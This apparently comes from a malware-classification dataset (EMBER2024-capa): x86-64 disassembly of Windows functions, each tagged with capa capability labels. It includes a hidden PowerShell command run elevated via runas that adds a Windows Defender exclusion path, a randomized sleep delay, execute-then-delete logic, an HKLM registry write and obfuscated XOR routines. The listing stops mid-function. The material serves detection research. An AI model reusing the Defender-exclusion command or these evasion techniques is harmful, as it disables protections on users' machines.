joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1800027c0
Capabilities:
Encrypt data using dpapi

Disassembly:
mov r11, rsp
mov qword [r11 + 0x18], rbx
push rsi
sub rsp, 0x70
mov eax, dword [rdx + 8]
xor ebx, ebx
sub eax, dword [rdx]
mov rsi, rcx
mov dword [rsp + 0x50], eax
lea rcx, [r11 - 0x28]
mov rax, qword [rdx]
xor r9d, r9d
mov qword [r11 - 0x20], rax
xor r8d, r8d
lea rax, [r11 - 0x38]
mov dword [rsp + 0x40], ebx
mov qword [r11 - 0x48], rax
xor edx, edx
mov dword [rsp + 0x28], ebx
mov qword [r11 - 0x58], rbx
mov qword [r11 - 0x30], rbx
call qword [sym.imp.CRYPT32.dll_CryptUnprotectData]
test eax, eax
je 0x1800028e2
mov qword [rsp + 0x80], rbp
mov rbp, qword [rsp + 0x48]
mov qword [rsi], rbx
mov qword [rsi + 8], rbx
mov qword [rsi + 0x10], rbx
mov ebx, dword [rsp + 0x40]
mov qword [rsp + 0x88], rdi
test rbx, rbx
je 0x1800028b2
movabs rax, 0x7fffffffffffffff
cmp rbx, rax
ja 0x180002905
cmp rbx, 0x1000
jb 0x18000287d
lea rcx, [rbx + 0x27]
cmp rcx, rbx
jbe 0x18000290b
call fcn.180003ba8
test rax, rax
je 0x1800028dc
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x180002888
mov rcx, rbx
call fcn.180003ba8
mov rdi, rax
mov qword [rsi], rdi
lea rcx, [rdi + rbx]
mov qword [rsi + 8], rdi
mov r8, rbx
mov qword [rsi + 0x10], rcx
mov rdx, rbp
mov rcx, rdi
call fcn.180014bd0
mov rbp, qword [rsp + 0x48]
lea rax, [rbx + rdi]
mov qword [rsi + 8], rax
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rbp, qword [rsp + 0x80]
mov rax, rsi
mov rdi, qword [rsp + 0x88]
mov rbx, qword [rsp + 0x90]
add rsp, 0x70
pop rsi
ret
call fcn.18000ac34
int3
lea rdx, str.Failed_to_decrypt_data.
lea rcx, [rsp + 0x60]
call fcn.180001180
lea rdx, [0x180020588]
lea rcx, [rsp + 0x60]
call fcn.180004f04
int3
call fcn.180003950
int3
call fcn.180001140
int3
Function at 0x18000e60c
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x18000e63c
xor eax, eax
jmp 0x18000e6ff
mov rbp, rbx
cmp word [rax], si
je 0x18000e661
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x18000e648
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x18000e644
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.18000e52c
movsxd r14, eax
test eax, eax
jne 0x18000e69f
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x18000e635
mov rcx, r14
call fcn.18000cac4
mov rdi, rax
test rax, rax
jne 0x18000e6b8
xor ecx, ecx
call fcn.18000cb24
jmp 0x18000e694
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.18000e52c
test eax, eax
jne 0x18000e6e9
mov rcx, rdi
call fcn.18000cb24
jmp 0x18000e6f3
xor ecx, ecx
call fcn.18000cb24
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret
Function at 0x180013f84
Capabilities:
Enumerate pe sections

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
movsxd r8, dword [0x18000003c]
lea rsi, [0x180000000]
add r8, rsi
mov rbx, rdx
mov rdi, rcx
cmp dword [r8 + 0x84], 0xd
jbe 0x180013ffc
mov r10d, dword [r8 + 0xf0]
xor r9d, r9d
test r10d, r10d
je 0x180013ffc
movzx ecx, word [r8 + 0x14]
movzx r11d, word [r8 + 6]
add rcx, 0x18
mov r10d, dword [r10 + rsi + 0xc]
add rcx, r8
test r11d, r11d
je 0x180013ffc
mov eax, dword [rcx + 0xc]
cmp r10d, eax
jb 0x180013ff0
mov edx, dword [rcx + 8]
add eax, edx
cmp r10d, eax
jb 0x18001400e
inc r9d
add rcx, 0x28
cmp r9d, r11d
jb 0x180013fde
xor eax, eax
mov rbx, qword [rsp + 8]
mov rsi, qword [rsp + 0x10]
mov rdi, qword [rsp + 0x18]
ret
mov dword [rdi], edx
mov eax, dword [rcx + 0x24]
mov dword [rbx], eax
mov eax, dword [rcx + 0xc]
add rax, rsi
jmp 0x180013ffe

Function at 0x1800144c0
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x1800144e8
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x1800144e8
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x140001290
Capabilities:
Create process on windows

Disassembly:
mov qword [rsp + 0x10], rbx
push rbp
lea rbp, [rsp - 0x30]
sub rsp, 0x130
mov rax, qword [0x14000c040]
xor rax, rsp
mov qword [rbp + 0x20], rax
xor ebx, ebx
mov r8, rcx
lea rdx, [0x1400075e8]
lea rcx, [rsp + 0x58]
call fcn.140003d50
mov rcx, rax
mov rdx, qword [rax + 0x10]
mov r9, qword [rax + 0x18]
mov rax, r9
sub rax, rdx
cmp rax, 1
jb 0x1400012fe
lea r8, [rdx + 1]
mov qword [rcx + 0x10], r8
mov rax, rcx
cmp r9, 7
jbe 0x1400012f1
mov rax, qword [rcx]
mov word [rax + rdx*2], 0x22
mov word [rax + r8*2], bx
jmp 0x14000131b
mov qword [rsp + 0x20], 1
lea r9, [0x1400075e4]
mov edx, 1
call fcn.1400048a0
mov rcx, rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x70], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x60], xmm1
movups xmm0, xmmword [rcx]
movups xmmword [rbp - 0x70], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rbp - 0x60], xmm1
mov qword [rcx + 0x10], rbx
mov qword [rcx + 0x18], 7
mov word [rcx], bx
mov rdx, qword [rsp + 0x70]
cmp rdx, 7
jbe 0x14000138d
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001388
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001388
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140005b0c
mov dword [rbp - 0x50], 0x68
xorps xmm0, xmm0
movups xmmword [rbp - 0x48], xmm0
movups xmmword [rbp - 0x38], xmm0
movups xmmword [rbp - 0x28], xmm0
movups xmmword [rbp - 0x18], xmm0
movups xmmword [rbp - 8], xmm0
movups xmmword [rbp + 8], xmm0
mov dword [rbp - 0x14], 1
mov word [rbp - 0x10], bx
lea rdx, [rbp - 0x70]
cmp qword [rbp - 0x58], 7
cmova rdx, qword [rbp - 0x70]
lea rax, [rsp + 0x78]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x50]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rbx
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x20], ebx
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
mov edx, 0xffffffff
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x80]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rdx, qword [rbp - 0x58]
cmp rdx, 7
jbe 0x140001463
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000145e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000145e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140005b0c
mov rcx, qword [rbp + 0x20]
xor rcx, rsp
call fcn.140005680
mov rbx, qword [rsp + 0x148]
add rsp, 0x130
pop rbp
ret
Function at 0x140001d50
Capabilities:
Check internet connectivity via wininet

Disassembly:
sub rsp, 0x38
mov rax, qword [0x14000c040]
xor rax, rsp
mov qword [rsp + 0x28], rax
xor edx, edx
lea rcx, [rsp + 0x20]
call qword [sym.imp.WININET.dll_InternetGetConnectedState]
test eax, eax
setne al
mov rcx, qword [rsp + 0x28]
xor rcx, rsp
call fcn.140005680
add rsp, 0x38
ret

Function at 0x140001d90
Capabilities:
Create process on windows
Delete file

Disassembly:
mov r11, rsp
push rbx
sub rsp, 0xf0
mov rax, qword [0x14000c040]
xor rax, rsp
mov qword [rsp + 0xe0], rax
mov dword [rsp + 0x70], 0x68
lea rax, [rsp + 0x50]
mov qword [rsp + 0x48], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x78], xmm0
xor ecx, ecx
lea rax, [rsp + 0x70]
mov qword [rsp + 0x40], rax
mov rbx, rdx
mov qword [rsp + 0x38], rcx
xor r9d, r9d
mov qword [rsp + 0x30], rcx
xor r8d, r8d
movups xmmword [r11 - 0x50], xmm0
mov word [r11 - 0x48], cx
xor edx, edx
mov dword [rsp + 0x28], 0x8000008
mov dword [rsp + 0x20], ecx
mov rcx, rbx
movups xmmword [r11 - 0x70], xmm0
mov dword [r11 - 0x4c], 0x81
movups xmmword [r11 - 0x60], xmm0
movups xmmword [r11 - 0x40], xmm0
movups xmmword [r11 - 0x30], xmm0
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x140001e54
mov rcx, qword [rsp + 0x50]
test rcx, rcx
je 0x140001e82
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x140001e82
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcerr]
lea rdx, str.Failed_to_execute_file:
call fcn.140003ed0
mov rcx, rax
mov rdx, rbx
call fcn.140003ed0
mov rcx, rax
lea rdx, [0x1400040b0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov rcx, qword [rsp + 0xe0]
xor rcx, rsp
call fcn.140005680
add rsp, 0xf0
pop rbx
ret
Function at 0x140001eb0
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
mov eax, 0x13c8
call fcn.1400067e0
sub rsp, rax
mov rax, qword [0x14000c040]
xor rax, rsp
mov qword [rsp + 0x13b0], rax
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov dword [rsp + 0x13a4], 0xffffffff
mov edx, 1
mov dword [rsp + 0x24], eax
nop dword [rax]
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, edx
mov dword [rsp + rdx*4 + 0x24], eax
inc rdx
cmp rdx, 0x270
jb 0x140001ef0
lea rcx, [rsp + 0x20]
mov dword [rsp + 0x20], 0x270
call fcn.140005060
mov ecx, eax
imul rcx, rcx, 0xfa1
cmp ecx, 0x71e
ja 0x140001f4d
lea rcx, [rsp + 0x20]
call fcn.140005060
mov ecx, eax
imul rcx, rcx, 0xfa1
cmp ecx, 0x71f
jb 0x140001f32
shr rcx, 0x20
add ecx, 0x800003e8
btc ecx, 0x1f
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [rsp + 0x13b0]
xor rcx, rsp
call fcn.140005680
add rsp, 0x13c8
ret
Function at 0x140001f80
Capabilities:
Create process on windows

Disassembly:
mov qword [rsp + 0x10], rbx
push rbp
lea rbp, [rsp - 0x57]
sub rsp, 0x100
mov rax, qword [0x14000c040]
xor rax, rsp
mov qword [rbp + 0x47], rax
xor ebx, ebx
mov r8, rcx
lea rdx, str._c_powershell__WindowStyle_Hidden__Command__Add_MpPreference__ExclusionPath_
lea rcx, [rbp - 0x71]
call fcn.140003d50
mov rcx, rax
mov r8, qword [rax + 0x10]
mov r9, qword [rax + 0x18]
mov rax, r9
sub rax, r8
cmp rax, 2
jb 0x140001fee
lea rdx, [r8 + 2]
mov qword [rcx + 0x10], rdx
mov rax, rcx
cmp r9, 7
jbe 0x140001fe0
mov rax, qword [rcx]
mov dword [rax + r8*2], 0x220027
mov word [rax + rdx*2], bx
jmp 0x14000200b
mov qword [rsp + 0x20], 2
lea r9, [0x1400078cc]
mov edx, 2
call fcn.1400048a0
mov rcx, rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x27], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x37], xmm1
movups xmm0, xmmword [rcx]
movups xmmword [rbp + 0x27], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rbp + 0x37], xmm1
mov qword [rcx + 0x10], rbx
mov qword [rcx + 0x18], 7
mov word [rcx], bx
mov rdx, qword [rbp - 0x59]
cmp rdx, 7
jbe 0x14000207b
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x71]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002076
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002076
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140005b0c
mov dword [rbp - 0x49], 0x70
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x45], xmm0
movups xmmword [rbp - 0x35], xmm0
movups xmmword [rbp - 0x25], xmm0
movups xmmword [rbp - 0x15], xmm0
movups xmmword [rbp - 5], xmm0
movups xmmword [rbp + 0xb], xmm0
mov qword [rbp + 0x1b], rax
mov dword [rbp + 0x23], eax
lea rax, str.runas
mov qword [rbp - 0x39], rax
lea rax, str.cmd.exe
mov qword [rbp - 0x31], rax
lea rax, [rbp + 0x27]
cmp qword [rbp + 0x3f], 7
cmova rax, qword [rbp + 0x27]
mov qword [rbp - 0x29], rax
mov dword [rbp - 0x19], ebx
lea rcx, [rbp - 0x49]
call qword [sym.imp.SHELL32.dll_ShellExecuteExW]
mov rdx, qword [rbp + 0x3f]
cmp rdx, 7
jbe 0x14000211e
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x27]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002119
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002119
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140005b0c
mov rcx, qword [rbp + 0x47]
xor rcx, rsp
call fcn.140005680
mov rbx, qword [rsp + 0x118]
add rsp, 0x100
pop rbp
ret
Function at 0x140002990
Capabilities:
Set registry value

Disassembly:
mov qword [rsp + 0x20], rbx
push rdi
sub rsp, 0x50
mov rax, qword [0x14000c040]
xor rax, rsp
mov qword [rsp + 0x40], rax
cmp qword [rcx + 0x18], 7
mov rbx, rdx
mov rdx, rcx
mov dword [rsp + 0x38], r8d
mov rdi, rcx
jbe 0x1400029c1
mov rdx, qword [rcx]
lea rax, [rsp + 0x30]
mov r9d, 0x102
xor r8d, r8d
mov qword [rsp + 0x20], rax
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x140002a28
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcerr]
lea rdx, [0x140007cc0]
call fcn.140003ed0
cmp qword [rdi + 0x18], 7
mov rdx, rdi
jbe 0x140002a05
mov rdx, qword [rdi]
mov r8, qword [rdi + 0x10]
mov rcx, rax
call fcn.140004b60
lea rdx, [0x1400040b0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
xor al, al
jmp 0x140002ab7
cmp qword [rbx + 0x18], 7
mov rdx, rbx
jbe 0x140002a35
mov rdx, qword [rbx]
mov rcx, qword [rsp + 0x30]
lea rax, [rsp + 0x38]
mov dword [rsp + 0x28], 4
mov r9d, 4
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
je 0x140002aaa
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcerr]
lea rdx, [0x140007d10]
call fcn.140003ed0
cmp qword [rbx + 0x18], 7
mov rdx, rbx
jbe 0x140002a7f
mov rdx, qword [rbx]
mov r8, qword [rbx + 0x10]
mov rcx, rax
call fcn.140004b60
lea rdx, [0x1400040b0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor al, al
jmp 0x140002ab7
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov al, 1
mov rcx, qword [rsp + 0x40]
xor rcx, rsp
call fcn.140005680
mov rbx, qword [rsp + 0x78]
add rsp, 0x50
pop rdi
ret
Function at 0x140005060
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
sub rsp, 8
mov r9, rcx
mov r10d, 0x270
mov ecx, dword [rcx]
cmp ecx, r10d
jne 0x1400050c1
lea r8, [r9 + 8]
nop dword [rax + rax]
mov edx, dword [r8 - 4]
xor edx, dword [r8]
lea r8, [r8 + 4]
btr edx, 0x1f
xor edx, dword [r8 - 8]
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r8 + 0x62c]
xor ecx, edx
mov dword [r8 + 0x9b8], ecx
sub r10, 1
jne 0x140005080
mov ecx, dword [r9]
jmp 0x1400051a8
cmp ecx, 0x4e0
jb 0x1400051a8
lea r10, [r9 + 0x9c4]
mov qword [rsp], rbx
mov r11d, dword [r10]
mov ebx, 0xe3
mov eax, r11d
mov r11d, dword [r10 + 4]
mov edx, r11d
lea r10, [r10 + 4]
xor edx, eax
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r10 + 0x630]
xor ecx, edx
mov dword [r10 - 0x9c4], ecx
sub rbx, 1
jne 0x1400050e0
lea r10, [r9 + 0xd50]
mov ebx, 0x18c
mov r11d, dword [r10]
nop dword [rax + rax]
mov eax, r11d
mov r11d, dword [r10 + 4]
mov edx, r11d
lea r10, [r10 + 4]
xor edx, eax
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r10 - 0xd50]
xor ecx, edx
mov dword [r10 - 0x9c4], ecx
sub rbx, 1
jne 0x140005130
mov eax, dword [r9 + 0x1380]
mov edx, eax
xor edx, dword [r9 + 4]
mov rbx, qword [rsp]
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r9 + 0x634]
xor ecx, edx
mov dword [r9 + 0x9c0], ecx
xor ecx, ecx
mov dword [r9], ecx
mov eax, ecx
mov edx, dword [r9 + rax*4 + 4]
lea eax, [rcx + 1]
mov dword [r9], eax
mov ecx, edx
mov eax, dword [r9 + 0x1384]
shr ecx, 0xb
and eax, ecx
xor edx, eax
mov eax, edx
and eax, 0xff3a58ad
shl eax, 7
xor edx, eax
mov eax, edx
and eax, 0xffffdf8c
shl eax, 0xf
xor edx, eax
mov eax, edx
shr eax, 0x12
xor eax, edx
add rsp, 8
ret

Function at 0x1400063ac
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400063f6
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400063f6
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400063f6
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400063f6
cmp dword [rcx + 0x84], 0xe
jbe 0x1400063f6
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400063f8
xor al, al
add rsp, 0x28
ret
Function at 0x1400036c0
Capabilities:
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x28
mov rsi, rcx
movzx ebx, byte [rcx]
call fcn.1400047b0
movzx eax, byte [0x140bd0880]
movzx ecx, byte [0x140bd0881]
imul eax, eax, 0xffffff91
imul ecx, ecx, 0x56
add cl, al
mov eax, ecx
add al, 0xdf
mov ecx, 0
cmp bl, al
je 0x140003752
mov rax, rsi
inc rax
lea rsi, [0x1400e129c]
xor edx, edx
nop word cs:[rax + rax]
mov edi, edx
mov rbx, rax
call fcn.140004820
cdqe
add edi, dword [rsi + rax*4]
movzx ebp, byte [rbx]
call fcn.1400048b0
movzx eax, byte [0x140bd0882]
movzx ecx, byte [0x140bd0883]
shr cl, 1
shl al, 7
or al, cl
mov r8d, eax
xor r8b, 0xe8
inc rbx
mov rax, rbx
mov edx, edi
mov ecx, edi
cmp bpl, r8b
jne 0x140003710
mov eax, ecx
add rsp, 0x28
pop rbx
pop rbp
pop rdi
pop rsi
ret

Function at 0x140003800
Capabilities:
Encode data using xor

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x28
mov rsi, r8
mov rdi, rdx
mov r14, rcx
call fcn.140004ac0
cdqe
lea rcx, [0x1400e12c0]
cmp rsi, qword [rcx + rax*8]
mov qword [rsp + 0x20], rsi
jae 0x14000383a
mov rsi, rdi
jmp 0x1400038db
call fcn.140004b50
cdqe
lea rcx, [0x1400e12e0]
movzx ecx, byte [rcx + rax*8]
shr rsi, cl
movabs r15, 0xb44d720dd691c554
movabs r12, 0xab89082ee71b832c
movabs r13, 0xf7fa88e7e405fa60
mov rax, rsi
mov rbx, r14
nop word cs:[rax + rax]
mov rsi, rdi
mov r14, rbx
mov rbp, rax
call fcn.140004be0
cdqe
lea rcx, [0x1400e1300]
add rbp, qword [rcx + rax*8]
mov rax, qword [rdi]
mov qword [rbx], rax
add rsi, 8
add r14, 8
call fcn.140004c60
mov rax, qword [0x140bd0890]
imul rax, r15
mov rcx, qword [0x140bd0898]
imul rcx, r12
add rcx, rax
mov r8, rcx
add r8, r13
mov rax, rbp
mov rbx, r14
mov rdi, rsi
cmp rbp, r8
jne 0x140003880
mov rdi, r14
mov rbx, rsi
call fcn.140004cd0
cdqe
lea rcx, [0x1400e1320]
mov r15, qword [rsp + 0x20]
and r15, qword [rcx + rax*8]
call fcn.140004d60
movabs rax, 0x33592dbd6d998606
imul rax, qword [0x140bd08a0]
movabs rcx, 0x5579b12392d9b361
imul rcx, qword [0x140bd08a8]
add rcx, rax
movabs rax, 0x61b3a7711c068b42
add rax, rcx
cmp r15, rax
je 0x140003993
lea rsi, [0x1400e1340]
movabs r14, 0xc1cc2f9772137898
xor eax, eax
nop dword [rax]
mov r12, rax
call fcn.140004dd0
cdqe
mov r13, r15
add r13, qword [rsi + rax*8]
movzx eax, byte [rbx + r12]
mov byte [rdi + r12], al
call fcn.140004e50
mov rax, qword [0x140bd08b0]
mov rcx, qword [0x140bd08b8]
shrd rcx, rax, 0x16
xor rcx, r14
inc r12
mov rax, r12
mov r15, r13
cmp r13, rcx
jne 0x140003950
add rsp, 0x28
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
Function at 0x140003a50
Capabilities:
Encode data using xor

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x48
mov rsi, rcx
movzx ebx, byte [rcx]
call fcn.140004fd0
movzx eax, byte [0x140bd08c4]
movzx ecx, byte [0x140bd08c5]
shr cl, 5
shl al, 3
mov edx, eax
or dl, cl
mov eax, 0
cmp bl, dl
je 0x140003cdb
lea r14, [0x1400e1358]
xor eax, eax
nop dword [rax]
mov edi, eax
call fcn.1400050d0
cdqe
mov ebx, dword [r14 + rax*4]
add ebx, edi
mov eax, ebx
movzx ebp, byte [rsi + rax]
call fcn.140005160
movzx eax, byte [0x140bd08d0]
movzx ecx, byte [0x140bd08d1]
shr cl, 5
shl al, 3
or al, cl
mov ecx, eax
xor cl, 0x86
mov eax, ebx
cmp bpl, cl
jne 0x140003aa0
call fcn.140005060
imul eax, dword [0x140bd08c8], 0xde2179ab
imul ecx, dword [0x140bd08cc], 0x10afd2d0
add ecx, eax
add ecx, 0x4cdfb1ca
mov eax, 0
cmp ebx, ecx
je 0x140003cdb
mov eax, ebx
mov qword [rsp + 0x40], rax
lea r13, [0x1400e1378]
lea r14, [0x1400e1384]
xor ebp, ebp
mov r15d, ebx
mov eax, 1
xor ecx, ecx
mov qword [rsp + 0x30], rsi
jmp 0x140003b90
mov esi, ecx
call fcn.140005510
cdqe
lea rcx, [0x1400e1390]
add ebx, dword [rcx + rax*4]
imul ebx, esi
add ebx, dword [rsp + 0x2c]
mov ecx, ebx
mov r12d, dword [rsp + 0x3c]
mov rsi, qword [rsp + 0x30]
mov ebx, ecx
call fcn.1400055a0
cdqe
mov rdx, rbp
lea rcx, [0x1400e13a0]
add rdx, qword [rcx + rax*8]
mov rbp, rdx
mov eax, r12d
mov ecx, ebx
cmp rdx, qword [rsp + 0x40]
je 0x140003c8f
mov dword [rsp + 0x2c], ecx
mov dword [rsp + 0x3c], eax
call fcn.1400051e0
cdqe
lea rcx, [0x1400e1364]
add r15d, dword [rcx + rax*4]
movzx ebx, byte [rsi + rbp]
mov r12d, ebx
call fcn.140005260
cdqe
lea rcx, [0x1400e1370]
movzx esi, byte [rax + rcx]
add sil, bl
call fcn.1400052f0
cdqe
lea rcx, [0x1400e1373]
cmp sil, byte [rax + rcx]
jae 0x140003c30
call fcn.140005380
mov rax, qword [0x140bd08d8]
mov rcx, qword [0x140bd08e0]
shrd rcx, rax, 0x29
movabs rax, 0x937b48f47bee603c
xor rcx, rax
cmp rbp, rcx
jne 0x140003cd9
cmp ebx, 0x2b
je 0x140003c80
mov ecx, dword [rsp + 0x2c]
mov r12d, 0
mov eax, 0
cmp ebx, 0x2d
mov rsi, qword [rsp + 0x30]
je 0x140003b66
jmp 0x140003cdb
mov eax, ebp
mov ecx, 1
cmp edi, ebp
je 0x140003b40
xor eax, eax
mov edx, 1
nop word cs:[rax + rax]
mov esi, edx
mov r12d, eax
call fcn.140005410
cdqe
imul esi, dword [r13 + rax*4]
call fcn.140005490
cdqe
add r12d, dword [r14 + rax*4]
mov eax, r12d
mov edx, esi
mov ecx, esi
cmp r12d, r15d
jne 0x140003c50
jmp 0x140003b40
mov ecx, dword [rsp + 0x2c]
mov r12d, 1
jmp 0x140003b61
call fcn.140005630
mov eax, dword [0x140bd08e8]
mov ecx, dword [0x140bd08ec]
shrd ecx, eax, 0xa
mov esi, ecx
xor esi, 0x3d4c0ee9
call fcn.1400056c0
imul eax, dword [0x140bd08f0], 0x128fdce5
imul ecx, dword [0x140bd08f4], 0x4168b837
add ecx, eax
